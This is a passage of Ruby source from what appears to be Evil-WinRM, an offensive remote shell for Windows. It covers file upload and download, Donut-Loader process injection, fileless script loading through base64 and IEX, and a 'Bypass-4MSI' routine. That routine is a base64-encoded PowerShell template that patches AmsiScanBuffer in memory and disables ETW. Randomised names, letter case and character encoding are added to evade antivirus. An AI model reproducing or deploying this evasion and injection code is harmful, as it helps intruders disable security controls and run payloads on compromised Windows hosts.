print_message("Cleaning up and exiting...", TYPE_WARNING, true, $logger)
|
|
# Clean up KRB5CCNAME before exiting
|
|
begin
|
|
if defined?($original_krb5ccname) && !$original_krb5ccname.nil?
|
|
ENV['KRB5CCNAME'] = $original_krb5ccname
|
|
elsif defined?($original_krb5ccname) && $original_krb5ccname.nil?
|
|
ENV.delete('KRB5CCNAME') if ENV.key?('KRB5CCNAME')
|
|
end
|
|
rescue => cleanup_error
|
|
# Ignore cleanup errors
|
|
end
|
|
custom_exit(1, false)
|
|
else
|
|
# For other errors, try to continue with a default pwd
|
|
pwd = "C:\\"
|
|
end
|
|
end
|
|
|
|
if $colors_enabled
|
|
command = Readline.readline( "#{colorize('*Evil-WinRM*', 'red')}#{colorize(' PS ', 'yellow')}#{pwd}> ", true)
|
|
else
|
|
command = Readline.readline("*Evil-WinRM* PS #{pwd}> ", true)
|
|
end
|
|
|
|
# Handle Ctrl+L if it returns as empty or special character
|
|
if command == "\f" || (command.nil? && Readline.line_buffer.empty?)
|
|
clear_screen
|
|
command = ''
|
|
next
|
|
end
|
|
|
|
# Save command to history file
|
|
save_to_history(command) if command && !command.strip.empty?
|
|
|
|
$logger&.info("*Evil-WinRM* PS #{pwd} > #{command}")
|
|
|
|
if command.start_with?('upload')
|
|
if docker_detection
|
|
print_message('Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command', TYPE_WARNING, true, $logger)
|
|
end
|
|
begin
|
|
source_s = ""
|
|
dest_s = ""
|
|
paths = get_paths_from_command(command, pwd)
|
|
|
|
if paths.length == 2
|
|
dest_s = paths.pop
|
|
source_s = paths.pop
|
|
elsif paths.length == 1
|
|
source_s = paths.pop
|
|
end
|
|
|
|
# Resolve relative paths correctly, including paths with ../
|
|
unless source_s.match(/^[a-zA-Z]:[\\\/]/) || source_s.match(/^\/\//)
|
|
# If it's a relative path, expand it from current directory
|
|
source_s = File.expand_path(source_s, Dir.pwd)
|
|
end
|
|
|
|
source_expr_i = source_s.index(/(\*\.|\*\*|\.\*|\*)/) || -1
|
|
|
|
if dest_s.empty?
|
|
if source_expr_i == -1
|
|
dest_s = "#{pwd}\\#{extract_filename(source_s)}"
|
|
else
|
|
index_last_folder = source_s.rindex(/[\/]/, source_expr_i )
|
|
dest_s = pwd
|
|
end
|
|
end
|
|
|
|
unless dest_s.match(/^[a-zA-Z]:[\\\/]/) then
|
|
dest_s = "#{pwd}\\#{dest_s.gsub(/^([\\\/]|\.\/)/, '')}"
|
|
end
|
|
|
|
if extract_filename(source_s).empty?
|
|
print_message("A filename must be specified!", TYPE_ERROR, true, $logger)
|
|
else
|
|
source_s = source_s.gsub("\\", "/") unless Gem.win_platform?
|
|
dest_s = dest_s.gsub("/", "\\")
|
|
sources = []
|
|
|
|
if source_expr_i == -1
|
|
# Validate file exists and is readable before upload
|
|
unless File.exist?(source_s)
|
|
raise "Source file does not exist: #{source_s}"
|
|
end
|
|
unless File.readable?(source_s)
|
|
raise "Source file is not readable: #{source_s}"
|
|
end
|
|
sources.push(source_s)
|
|
else
|
|
Dir[source_s].each do |filename|
|
|
sources.push(filename) if File.exist?(filename) && File.readable?(filename)
|
|
end
|
|
if sources.length > 0
|
|
shell.run("mkdir #{dest_s} -ErrorAction SilentlyContinue")
|
|
else
|
|
raise "There are no files to upload at #{source_s}"
|
|
end
|
|
end
|
|
|
|
print_message("Uploading #{source_s} to #{dest_s}", TYPE_INFO, true, $logger)
|
|
upl_result = file_manager.upload(sources, dest_s) do |bytes_copied, total_bytes, x, y|
|
|
progress_bar(bytes_copied, total_bytes)
|
|
if bytes_copied == total_bytes
|
|
print_message("#{bytes_copied} bytes of #{total_bytes} bytes copied", TYPE_DATA, true, $logger)
|
|
end
|
|
end
|
|
print_message('Upload successful!', TYPE_INFO, true, $logger)
|
|
end
|
|
rescue StandardError => e
|
|
$logger.info("#{e}: #{e.backtrace}") unless $logger.nil?
|
|
print_message('Upload failed. Check filenames or paths: ' + e.to_s, TYPE_ERROR, true, $logger)
|
|
ensure
|
|
command = ''
|
|
end
|
|
elsif command.start_with?('download')
|
|
if docker_detection
|
|
print_message('Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command', TYPE_WARNING, true, $logger)
|
|
end
|
|
begin
|
|
dest = ""
|
|
source = ""
|
|
paths = get_paths_from_command(command, pwd)
|
|
|
|
if paths.length == 2
|
|
dest = paths.pop
|
|
source = paths.pop
|
|
else
|
|
source = paths.pop
|
|
dest = ""
|
|
end
|
|
|
|
if source.match(/^\.[\\\/]/)
|
|
source = source.gsub(/^\./, "")
|
|
end
|
|
unless source.match(/^[a-zA-Z]:[\\\/]/) then
|
|
source = pwd + '\\' + source.gsub(/^[\\\/]/, '')
|
|
end
|
|
|
|
source_expr_i = source.index(/(\*\.|\*\*|\.\*|\*)/) || -1
|
|
if dest.empty?
|
|
if source_expr_i == -1
|
|
dest = "#{extract_filename(source)}"
|
|
else
|
|
index_last_folder = source.rindex(/[\\\/]/, source_expr_i)
|
|
dest = "#{extract_filename(source[0..index_last_folder])}"
|
|
end
|
|
end
|
|
|
|
if dest.match?(/^(\.[\\\/]|\.)$/)
|
|
dest = "#{extract_filename(source)}"
|
|
end
|
|
|
|
if extract_filename(source).empty?
|
|
print_message("A filename or folder must be specified!", TYPE_ERROR, true, $logger)
|
|
else
|
|
size = filesize(shell, source)
|
|
source = source.gsub("/", "\\") if Gem.win_platform?
|
|
dest = dest.gsub("\\", "/") unless Gem.win_platform?
|
|
print_message("Downloading #{source} to #{dest}", TYPE_INFO, true, $logger)
|
|
downloaded = file_manager.download(source, dest, size: size) do |index, size|
|
|
progress_bar(index, size)
|
|
end
|
|
if downloaded != false
|
|
print_message('Download successful!', TYPE_INFO, true, $logger)
|
|
else
|
|
print_message('Download failed. Check filenames or paths', TYPE_ERROR, true, $logger)
|
|
end
|
|
end
|
|
rescue StandardError => e
|
|
print_message('Download failed. Check filenames or paths: ' + e.to_s, TYPE_ERROR, true, $logger)
|
|
ensure
|
|
command = ''
|
|
end
|
|
elsif command.start_with?('Invoke-Binary')
|
|
begin
|
|
invoke_Binary = command.tokenize
|
|
command = ''
|
|
if !invoke_Binary[1].to_s.empty?
|
|
load_executable = invoke_Binary[1]
|
|
load_executable = File.binread(load_executable)
|
|
load_executable = Base64.strict_encode64(load_executable)
|
|
if !invoke_Binary[2].to_s.empty?
|
|
output = shell.run("Invoke-Binary #{load_executable} ,#{invoke_Binary[2]}")
|
|
puts(output.output)
|
|
elsif invoke_Binary[2].to_s.empty?
|
|
output = shell.run("Invoke-Binary #{load_executable}")
|
|
puts(output.output)
|
|
end
|
|
elsif (output = shell.run('Invoke-Binary'))
|
|
puts(output.output)
|
|
end
|
|
rescue StandardError => e
|
|
print_message('Check filenames', TYPE_ERROR, true, $logger)
|
|
end
|
|
elsif command.start_with?('Donut-Loader')
|
|
begin
|
|
donut_Loader = command.tokenize
|
|
command = ''
|
|
unless donut_Loader[4].to_s.empty? then
|
|
pid = donut_Loader[2]
|
|
load_executable = donut_Loader[4]
|
|
load_executable = File.binread(load_executable)
|
|
load_executable = Base64.strict_encode64(load_executable)
|
|
output = shell.run("Donut-Loader -process_id #{pid} -donutfile #{load_executable}")
|
|
else
|
|
output = shell.run("Donut-Loader")
|
|
end
|
|
print(output.output)
|
|
$logger&.info(output.output)
|
|
rescue StandardError
|
|
print_message('Check filenames', TYPE_ERROR, true, $logger)
|
|
end
|
|
elsif command.start_with?('services')
|
|
command = ''
|
|
output = shell.run('$servicios = Get-ItemProperty "registry::HKLM\System\CurrentControlSet\Services\*" | Where-Object {$_.imagepath -notmatch "system" -and $_.imagepath -ne $null } | Select-Object pschildname,imagepath ; foreach ($servicio in $servicios ) {Get-Service $servicio.PSChildName -ErrorAction SilentlyContinue | Out-Null ; if ($? -eq $true) {$privs = $true} else {$privs = $false} ; $Servicios_object = New-Object psobject -Property @{"Service" = $servicio.pschildname ; "Path" = $servicio.imagepath ; "Privileges" = $privs} ; $Servicios_object }')
|
|
print(output.output.chomp)
|
|
$logger&.info(output.output.chomp)
|
|
elsif command.start_with?(*@functions)
|
|
silent_warnings do
|
|
load_script = $scripts_path + command
|
|
command = ''
|
|
load_script = load_script.gsub(' ', '')
|
|
load_script = File.binread(load_script)
|
|
load_script = Base64.strict_encode64(load_script)
|
|
script_split = load_script.scan(/.{1,5000}/)
|
|
script_split.each do |item|
|
|
output = shell.run("$a += '#{item}'")
|
|
end
|
|
|
|
output = shell.run("IEX ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($a))).replace('???','')")
|
|
output = shell.run('$a = $null')
|
|
end
|
|
elsif command.start_with?('menu')
|
|
command = ''
|
|
silent_warnings do
|
|
if @Bypass_4MSI_loaded
|
|
unless @psLoaded
|
|
print_message("Bypass-4MSI is loaded. Trying to load utilities", TYPE_INFO, true, $logger)
|
|
shell.run(donuts)
|
|
shell.run(invokeBin)
|
|
shell.run(dllloader)
|
|
@psLoaded = true
|
|
end
|
|
end
|
|
outputs = load_powershell(shell, menu, 2)
|
|
puts(get_banner)
|
|
puts
|
|
output = shell.run($MENU_CMD)
|
|
autocomplete = output.output || ""
|
|
autocomplete = autocomplete.gsub!(/\r\n?/, "\n")
|
|
autocomplete = autocomplete || ""
|
|
assemblyautocomplete = shell.run($SHOW_GLOBAL_METHODS_CMD).output.chomp
|
|
assemblyautocomplete = assemblyautocomplete.gsub!(/\r\n?/, "\n")
|
|
unless assemblyautocomplete.to_s.empty?
|
|
$LISTASSEMNOW = assemblyautocomplete.split("\n")
|
|
$LISTASSEM = $LISTASSEM + $LISTASSEMNOW
|
|
end
|
|
$LIST2 = autocomplete.split("\n")
|
|
$LIST = $LIST + $LIST2
|
|
$COMMANDS = $COMMANDS + $LIST2
|
|
$COMMANDS = $COMMANDS.uniq
|
|
cmdlets = ""
|
|
if !$LIST2.nil? && !$LIST2.empty?
|
|
cmdlets = '[+] ' + $LIST2.join("\n").gsub(/\n/,"\n[+] ") + "\n"
|
|
end
|
|
message_output = cmdlets + '[+] ' + $CMDS.join("\n").gsub(/\n/,"\n[+] ") + "\n\n"
|
|
puts(message_output)
|
|
$logger&.info(message_output)
|
|
end
|
|
elsif command == 'Bypass-4MSI'
|
|
command = ''
|
|
timeToWait = (time + 20) - Time.now.to_i
|
|
if timeToWait.positive?
|
|
print_message('AV could be still watching for suspicious activity. Waiting for patching...', TYPE_WARNING, true, $logger)
|
|
sleep(timeToWait)
|
|
end
|
|
unless @Bypass_4MSI_loaded
|
|
load_Bypass_4MSI(shell)
|
|
load_ETW_patch(shell)
|
|
@Bypass_4MSI_loaded = true
|
|
end
|
|
elsif command.strip.downcase == 'clear' || command.strip.downcase == 'cls'
|
|
command = ''
|
|
clear_screen
|
|
end
|
|
|
|
begin
|
|
output = shell.run(command) do |stdout, stderr|
|
|
stdout&.each_line do |line|
|
|
$stdout.puts(line.rstrip)
|
|
end
|
|
$stderr.print(stderr)
|
|
end
|
|
|
|
next unless !$logger.nil? && !command.empty?
|
|
output_logger = ''
|
|
output.output.each_line do |line|
|
|
output_logger += "#{line.rstrip!}\n"
|
|
end
|
|
$logger.info(output_logger)
|
|
rescue => e
|
|
# Handle connection/timeout errors gracefully
|
|
error_msg = e.message.to_s.downcase
|
|
if error_msg.include?('timeout') || error_msg.include?('connection') ||
|
|
error_msg.include?('closed') || error_msg.include?('broken') ||
|
|
e.class.to_s.include?('Timeout') || e.class.to_s.include?('Connection')
|
|
puts
|
|
print_message("Connection timeout or error occurred: #{e.class} - #{e.message}", TYPE_ERROR, true, $logger)
|
|
print_message("Cleaning up and exiting...", TYPE_WARNING, true, $logger)
|
|
# Clean up KRB5CCNAME before exiting
|
|
begin
|
|
if defined?($original_krb5ccname) && !$original_krb5ccname.nil?
|
|
ENV['KRB5CCNAME'] = $original_krb5ccname
|
|
elsif defined?($original_krb5ccname) && $original_krb5ccname.nil?
|
|
ENV.delete('KRB5CCNAME') if ENV.key?('KRB5CCNAME')
|
|
end
|
|
rescue => cleanup_error
|
|
# Ignore cleanup errors
|
|
end
|
|
custom_exit(1, false)
|
|
else
|
|
# Re-raise other errors
|
|
raise
|
|
end
|
|
end
|
|
end
|
|
rescue Errno::EACCES => e
|
|
puts
|
|
print_message("An error of type #{e.class} happened, message is #{e.message}", TYPE_ERROR, true, $logger)
|
|
retry
|
|
rescue Interrupt
|
|
puts
|
|
print_message('Press "y" to exit, press any other key to continue', TYPE_WARNING, true, $logger)
|
|
if $stdin.getch.downcase == 'y'
|
|
custom_exit(130)
|
|
else
|
|
retry
|
|
end
|
|
end
|
|
|
|
custom_exit(0)
|
|
end
|
|
rescue SystemExit
|
|
rescue SocketError
|
|
print_message("Check your /etc/hosts file to ensure you can resolve #{$host}", TYPE_ERROR, true, $logger)
|
|
custom_exit(1)
|
|
rescue Exception => e
|
|
# Check if it's a Kerberos ticket expired error
|
|
error_class = e.class.to_s
|
|
error_message = e.message.to_s
|
|
|
|
# Detect GSSAPI/GSS errors related to expired tickets
|
|
error_message_lower = error_message.downcase
|
|
is_gss_error = (error_class.include?('GSSAPI') || error_class.include?('GssApi') || error_class.include?('GSS'))
|
|
is_expired_error = (error_message_lower.include?('ticket expired') ||
|
|
(error_message_lower.include?('expired') && error_message_lower.include?('ticket')) ||
|
|
(error_message_lower.include?('kerberos') && error_message_lower.include?('expired')))
|
|
|
|
if is_gss_error && is_expired_error
|
|
print_message("Kerberos ticket expired. The ticket file provided is no longer valid. Please generate a new Kerberos ticket and try again.", TYPE_ERROR, true, $logger)
|
|
# Clean up KRB5CCNAME before exiting
|
|
begin
|
|
if defined?($original_krb5ccname) && !$original_krb5ccname.nil?
|
|
ENV['KRB5CCNAME'] = $original_krb5ccname
|
|
elsif defined?($original_krb5ccname) && $original_krb5ccname.nil?
|
|
ENV.delete('KRB5CCNAME') if ENV.key?('KRB5CCNAME')
|
|
end
|
|
rescue => cleanup_error
|
|
# Ignore cleanup errors
|
|
end
|
|
custom_exit(1, false)
|
|
else
|
|
print_message("An error of type #{e.class} happened, message is #{e.message}", TYPE_ERROR, true, $logger)
|
|
custom_exit(1)
|
|
end
|
|
end
|
|
end
|
|
|
|
def get_banner
|
|
Base64.decode64('DQoNCiAgICwuICAgKCAgIC4gICAgICApICAgICAgICAgICAgICAgIiAgICAgICAgICAgICwuICAgKCAgIC4gICAgICApICAgICAgIC4gICANCiAgKCIgICggICkgICknICAgICAsJyAgICAgICAgICAgICAoYCAgICAgJ2AgICAgKCIgICAgICkgICknICAgICAsJyAgIC4gICwpICANCi47ICkgICcgKCggKCIgKSAgICA7KCwgICAgICAuICAgICA7KSAgIiAgKSIgIC47ICkgICcgKCggKCIgKSAgICk7KCwgICApKCggICANCl8iLixfLC5fXykuLCkgKC4uXyggLl8pLCAgICAgKSAgLCAoLl8uLiggJy4uXyIuXywgLiAnLl8pXyguLixfKF8iLikgXyggXycpICANClxfICAgX19fX18vX18gIF98X198ICB8ICAgICgoICAoICAvICBcICAgIC8gIFxfX3wgX19fX1xfX19fX18gICBcICAvICAgICBcICANCiB8ICAgIF9fKV9cICBcLyAvICB8ICB8ICAgIDtfKV8nKSBcICAgXC9cLyAgIC8gIHwvICAgIFx8ICAgICAgIF8vIC8gIFwgLyAgXCANCiB8ICAgICAgICBcXCAgIC98ICB8ICB8X18gL19fX19fLyAgXCAgICAgICAgL3wgIHwgICB8ICBcICAgIHwgICBcLyAgICBZICAgIFwNCi9fX19fX19fICAvIFxfLyB8X198X19fXy8gICAgICAgICAgIFxfXy9cICAvIHxfX3xfX198ICAvX19fX3xfICAvXF9fX198X18gIC8NCiAgICAgICAgXC8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXC8gICAgICAgICAgXC8gICAgICAgXC8gICAgICAgICBcLw0KDQogICAgICAgQnk6IEN5YmVyVmFjYSwgT3NjYXJBa2FFbHZpcywgSmFyaWxhb3MsIEFyYWxlNjEgQEhhY2twbGF5ZXJzDQo=')
|
|
end
|
|
|
|
def random_string(len = 3)
|
|
Array.new(len) { [*'0'..'9', *'A'..'Z', *'a'..'z'].sample }.join
|
|
end
|
|
|
|
def random_case(word)
|
|
word.chars.map { |c| (rand 2).zero? ? c : c.upcase }.join
|
|
end
|
|
|
|
def get_char_expresion(the_char)
|
|
rand_val = rand(10_000) + rand(100)
|
|
val = the_char.ord + rand_val
|
|
char_val = random_case('char')
|
|
|
|
"[#{char_val}](#{val}-#{rand_val})"
|
|
end
|
|
|
|
def get_byte_expresion(the_char)
|
|
rand_val = rand(30..120)
|
|
val = the_char.ord + rand_val
|
|
char_val = random_case('char')
|
|
byte_val = random_case('byte')
|
|
|
|
"[#{char_val}]([#{byte_val}] 0x#{val.to_s(16)}-0x#{rand_val.to_s(16)})"
|
|
end
|
|
|
|
def get_char_raw(the_char)
|
|
"\"#{the_char}\""
|
|
end
|
|
|
|
def generate_random_type_string(to_randomize)
|
|
result = ''
|
|
to_randomize.chars.each { |c| result += "+#{(rand 2) == 0 ? (rand 2) == 0 ? self.get_char_expresion(c): self.get_byte_expresion(c) : self.get_char_expresion(c)}"}
|
|
result[1..-1]
|
|
end
|
|
|
|
def replace_placeholder(template, placeholder, str_value)
|
|
result = template.gsub(placeholder, str_value)
|
|
result
|
|
end
|
|
|
|
def replace_placeholder_string(template, placeholder, str_value)
|
|
result = replace_placeholder(template, placeholder, generate_random_type_string(str_value))
|
|
result
|
|
end
|
|
|
|
def replace_placeholder_var(template, var_placeholder)
|
|
var_name = random_string((5..21).to_a.sample)
|
|
result = replace_placeholder(template, var_placeholder, var_name)
|
|
result
|
|
end
|
|
|
|
def replace_func_var_name(template, function_name, replace_with)
|
|
if replace_with.length == 0
|
|
replace_with = random_string((15..32).to_a.sample)
|
|
end
|
|
a_mark = ">><"
|
|
func_placeholder = "#{a_mark}#{function_name}#{a_mark}"
|
|
result = replace_placeholder(template, func_placeholder, replace_with)
|
|
result
|
|
end
|
|
|
|
def replace_string_scan_part(template, begin_i, end_i, mark)
|
|
to_replace = template[begin_i..end_i]
|
|
to_place = to_replace.gsub(mark, "")
|
|
first_t = false
|
|
result = ""
|
|
to_place.split("|").each do |word|
|
|
if ! first_t
|
|
first_t = true
|
|
result += generate_random_type_string(word)
|
|
else
|
|
result += "+\"|\"+" + generate_random_type_string(word)
|
|
end
|
|
|
|
end
|
|
template.gsub!(to_replace, result)
|
|
end
|
|
|
|
def replace_with_string_scan(template)
|
|
result = template
|
|
a_mark = "<><"
|
|
begin_i = template.index(a_mark)
|
|
last_i = 0
|
|
if !begin_i.nil? && begin_i >= 0
|
|
next_i = template.index(a_mark, begin_i + 1)
|
|
while !next_i.nil? && !begin_i.nil? && next_i > begin_i && next_i + 2 <= template.length
|
|
next_i += 2
|
|
last_i = next_i
|
|
replace_string_scan_part(result, begin_i, next_i, a_mark)
|
|
begin_i = template.index(a_mark, next_i)
|
|
if !begin_i.nil? && begin_i >= 0
|
|
next_i = template.index(a_mark, begin_i + 1)
|
|
else
|
|
next_i = -1
|
|
end
|
|
end
|
|
end
|
|
result
|
|
end
|
|
|
|
def rand_casing_keywords(template)
|
|
$WORDS_RANDOM_CASE.each { |w| template.gsub!(w.to_s, random_case(w)) }
|
|
template
|
|
end
|
|
|
|
def get_menu
|
|
menu_template = 'ZnVuY3Rpb24gPj48RlVOQ1RJT04yPj48IHsKICAgIGxzIGZ1bmN0aW9uOiB8IFdoZXJlLU9iamVjdCB7CiAgICAgICAgJF8ubmFtZSAtbm90bWF0Y2ggIl4oP2kpIisiKD4+PEZVTkNUSU9ONT4+PHxDb252ZXJ0RnJvbS1TZGRsU3RyaW5nfEdldC1WZXJifEltcG9ydFN5c3RlbU1vZHVsZXN8aGVscHxjZHxvc3MpIiAtYW5kCiAgICAgICAgKCRfLm5hbWUpLkxlbmd0aCAtZ2UgIjQiCiAgICB9Cn0KCmZ1bmN0aW9uID4+PEZVTkNUSU9OND4+PCB7CiAgICA+PjxGVU5DVElPTjI+PjwgfCBXaGVyZS1PYmplY3QgewogICAgICAgICRfLm5hbWUgLW5vdG1hdGNoICJeKD9pKSIrIihDbGVhci1Ib3N0fEZvcm1hdC1IZXh8R2V0LUZpbGVIYXNofG1rZGlyfFRhYkV4cGFuc2lvbjJ8Pj48RlVOQ1RJT04xPj48KSIKICAgIH0KfQoKZnVuY3Rpb24gPj48RlVOQ1RJT04zPj48IHsKICAgID4+PEZVTkNUSU9OND4+PCB8IFdoZXJlLU9iamVjdCB7IAogICAgICAgICRfLm5hbWUgLW5vdG1hdGNoICJeKD9pKSIrIihtb3JlfE5ldy1HdWlkfE5ldy1UZW1wb3JhcnlGaWxlfD4+PEZVTkNUSU9OMj4+PHw+PjxGVU5DVElPTjM+PjwpIgogICAgfQp9CgpmdW5jdGlvbiA+PjxGVU5DVElPTjU+PjwgewogICAgPj48RlVOQ1RJT04zPj48IHwgV2hlcmUtT2JqZWN0IHsgCiAgICAgICAgJF8ubmFtZSAtbm90bWF0Y2ggIl4oP2kpIisiKD4+PEZVTkNUSU9ONj4+PHxJbXBvcnQtUG93ZXJTaGVsbERhdGFGaWxlfE1haW58UGF1c2V8cHJvbXB0fD4+PEZVTkNUSU9OND4+PCkiCiAgICB9Cn0KCmZ1bmN0aW9uID4+PEZVTkNUSU9ONj4+PCB7CiAgICA+PjxGVU5DVElPTjU+PjwgfCBTZWxlY3QtT2JqZWN0IC1Qcm9wZXJ0eSBOYW1lIHwgRm9yRWFjaC1PYmplY3QgewogICAgICAgICIkKCRfLk5hbWUpIgogICAgfQp9CgpmdW5jdGlvbiA+PjxGVU5DVElPTjE+PjwgewoKICAgICRnbG9iYWw6c2hvd21ldGhvZHMKfQo='
|
|
result = Base64.decode64(menu_template)
|
|
show_methods_loaded = "Get-#{random_string((5..15).to_a.sample)}"
|
|
menu_function_name = "Get-#{random_string((4..17).to_a.sample)}"
|
|
random_func1 = "Get-#{random_string((7..17).to_a.sample)}"
|
|
random_func2 = "Get-#{random_string((7..17).to_a.sample)}"
|
|
random_func3 = "Get-#{random_string((7..17).to_a.sample)}"
|
|
random_func4 = "Get-#{random_string((7..17).to_a.sample)}"
|
|
result = replace_func_var_name(result, "FUNCTION1", show_methods_loaded)
|
|
result = replace_func_var_name(result, "FUNCTION2", random_func1)
|
|
result = replace_func_var_name(result, "FUNCTION3", random_func2)
|
|
result = replace_func_var_name(result, "FUNCTION4", random_func3)
|
|
result = replace_func_var_name(result, "FUNCTION5", random_func4)
|
|
result = replace_func_var_name(result, "FUNCTION6", menu_function_name)
|
|
result = replace_with_string_scan(result)
|
|
result = rand_casing_keywords(result)
|
|
$SHOW_GLOBAL_METHODS_CMD = show_methods_loaded
|
|
$MENU_CMD = menu_function_name
|
|
result
|
|
end
|
|
|
|
def get_Bypass_4MSI
|
|
bypass_template = 'ZnVuY3Rpb24gPj48RlVOQ1RJT04xPj48IHsKICAgIFBhcmFtICg+PjxWQVIxPj48LCA+PjxWQVIyPj48KQogICAgPj48VkFSMz4+PCA9IChbQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbi5HZXRBc3NlbWJsaWVzKCkgfAogICAgV2hlcmUtT2JqZWN0IHsgCiAgICAgICAgJF8uR2xvYmFsQXNzZW1ibHlDYWNoZSAtQW5kICRfLkxvY2F0aW9uLlNwbGl0KCIiKzw+PFw8PjwrIiIpWy0xXS5FcXVhbHMoIiIrPD48U3lzdGVtLmRsbDw+PCsiIikKICAgICB9KS5HZXRUeXBlKCJNaWNyb3NvZnQuIis8PjxXaW4zMi5Vbjw+PCsic2FmZU5hdGl2ZU1ldGhvZHMiKQogICAgPj48VkFSND4+PD1AKCkKICAgID4+PFZBUjM+PjwuR2V0TWV0aG9kcygpIHwgRm9yRWFjaC1PYmplY3QgewogICAgICAgIElmKCRfLk5hbWUgLWxpa2UgIkdlKlAqb2MqIis8PjxkZHJlczw+PCsicyIpIHsKICAgICAgICAgICAgPj48VkFSND4+PCs9JF8KICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gPj48VkFSND4+PFswXS5JbnZva2UoJG51bGwsIEAoKD4+PFZBUjM+PjwuR2V0TWV0aG9kKCIiKzw+PEdldE08PjwrIm9kdWwiKzw+PGVIYW48PjwrImRsZSIpKS5JbnZva2UoJG51bGwsIEAoPj48VkFSMT4+PCkpLCA+PjxWQVIyPj48KSkKfQojanVtcAoKZnVuY3Rpb24gPj48RlVOQ1RJT04yPj48IHsKICAgIFBhcmFtICgKICAgICBbUGFyYW1ldGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJFRydWUpXSBbVHlwZVtdXSA+PjxWQVI1Pj48LCBbUGFyYW1ldGVyKFBvc2l0aW9uID0gMSldIFtUeXBlXSA+PjxWQVI2Pj48ID0gW1ZvaWRdCiAgICApCiAgICA+PjxWQVIxMj4+PCA9IFtBcHBEb21haW5dOjpDdXJyZW50RG9tYWluLkRlZmluZUR5bmFtaWNBc3NlbWJseSgKICAgICAgICAoTmV3LU9iamVjdCBTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseU5hbWUoIiIrPD48UmVmPD48KyJsZWMiKzw+PHRlZERlPD48KyJsZWdhdGUiKSksCiAgICAgICAgW1N5c3RlbS5SZWZsZWN0aW9uLkVtaXQuQXNzZW1ibHlCdWlsZGVyQWNjZXNzXTo6UnVuCiAgICApLkRlZmluZUR5bmFtaWNNb2R1bGUoCiAgICAgICAgIiIrPD48SW5NPD48KyJlbW8iKzw+PHJ5PD48KyJNb2R1bGUiLAogICAgICAgICRmYWxzZQogICAgKS5EZWZpbmVUeXBlKAogICAgICAgICQoIiIrPD48TXlEZWxlZ2F0ZVR5cGU8PjwrIiIpLAogICAgICAgICJDbGFzcywgUHVibGljLCBTZWFsZWQsIEFuc2lDbGFzcywgQXV0b0NsYXNzIiwKICAgICAgICBbU3lzdGVtLk11bHRpY2FzdERlbGVnYXRlXQogICAgKQoKICAgID4+PFZBUjEyPj48LkRlZmluZUNvbnN0cnVjdG9yKAogICAgICAgICJSVFNwZWNpYWxOYW1lLCBIaWRlQnlTaWcsIFB1YmxpYyIsCiAgICAgICAgW1N5c3RlbS5SZWZsZWN0aW9uLkNhbGxpbmdDb252ZW50aW9uc106OlN0YW5kYXJkLCA+PjxWQVI1Pj48CiAgICApLlNldEltcGxlbWVudGF0aW9uRmxhZ3MoIlJ1bnRpbWUsIE1hbmFnZWQiKQoKICAgID4+PFZBUjEyPj48LkRlZmluZU1ldGhvZCgKICAgICAgICAiSW52b2tlIiwKICAgICAgICAiUHVibGljLCBIaWRlQnlTaWcsIE5ld1Nsb3QsIFZpcnR1YWwiLAogICAgICAgID4+PFZBUjY+PjwsCiAgICAgICAgPj48VkFSNT4+PAogICAgKS5TZXRJbXBsZW1lbnRhdGlvbkZsYWdzKCJSdW50aW1lLCBNYW5hZ2VkIikKICAgIAogICAgcmV0dXJuID4+PFZBUjEyPj48LkNyZWF0ZVR5cGUoKQp9CiNqdW1wCltJbnRQdHJdPj48VkFSNz4+PCA9ID4+PEZVTkNUSU9OMT4+PCAkKCIiKzw+PGFtc2kuZGxsPD48KyIiKSAkKCIiKzw+PEFtc2lTY2FuQnVmZmVyPD48KyIiKQojanVtcAo+PjxWQVI4Pj48ID0gMAojanVtcAo+PjxWQVI5Pj48PVtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKAogICAgKD4+PEZVTkNUSU9OMT4+PCAkKCIiKzw+PGtlcm5lbDMyLmRsbDw+PCsiIikgVmlydHVhbFByb3RlY3QpLCAKICAgICg+PjxGVU5DVElPTjI+PjwgQChbSW50UHRyXSwgW1VJbnQzMl0sIFtVSW50MzJdLCBbVUludDMyXS5NYWtlQnlSZWZUeXBlKCkpIChbQm9vbF0pKQopCiNqdW1wCj4+PFZBUjEwPj48ID0gPj48VkFSOT4+PC5JbnZva2UoPj48VkFSNz4+PCwgMywgMHg0MCwgW3JlZl0+PjxWQVI4Pj48KQojanVtcAo+PjxWQVIxMT4+PCA9IFtCeXRlW11dICgweGI4LDB4MzQsMHgxMiwweDA3LDB4ODAsMHg2NiwweGI4LDB4MzIsMHgwMCwweGIwLDB4NTcsMHhjMykKI2p1bXAKPj48VkFSMTA+PjwgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpDb3B5KD4+PFZBUjExPj48LCAwLCA+PjxWQVI3Pj48LCAxMikKI2p1bXAKUmVtb3ZlLUl0ZW0gRnVuY3Rpb246Pj48RlVOQ1RJT04yPj48CiNqdW1wClJlbW92ZS1JdGVtIEZ1bmN0aW9uOj4+PEZVTkNUSU9OMT4+PA=='
|
|
|
|
result = Base64.decode64(bypass_template)
|
|
|
|
for i in 1..2
|
|
func_name = "Get-#{random_string((7..17).to_a.sample)}"
|
|
result = replace_func_var_name(result, "FUNCTION#{i}", func_name)
|
|
end
|
|
|
|
for i in 1..12
|
|
var_name = "$#{random_string((7..17).to_a.sample)}"
|
|
result = replace_func_var_name(result, "VAR#{i}", var_name)
|
|
end
|
|
|
|
result = replace_with_string_scan(result)
|
|
result = rand_casing_keywords(result)
|
|
result
|
|
end
|
|
|
|
def wait_for(time_to_wait)
|
|
thread = Thread.new do
|
|
sleep(time_to_wait)
|
|
end
|
|
thread.join
|
|
end
|
|
|
|
def load_powershell(shell, powershell_script, sleep_for = 2)
|
|
outputs = []
|
|
num_jumps = powershell_script.scan(/#jump/).size + 1
|
|
current_jump = 1
|
|
if num_jumps > 1
|
|
powershell_script.split('#jump').each do |item|
|
|
progress_bar(current_jump, num_jumps)
|
|
output = shell.run(item)
|
|
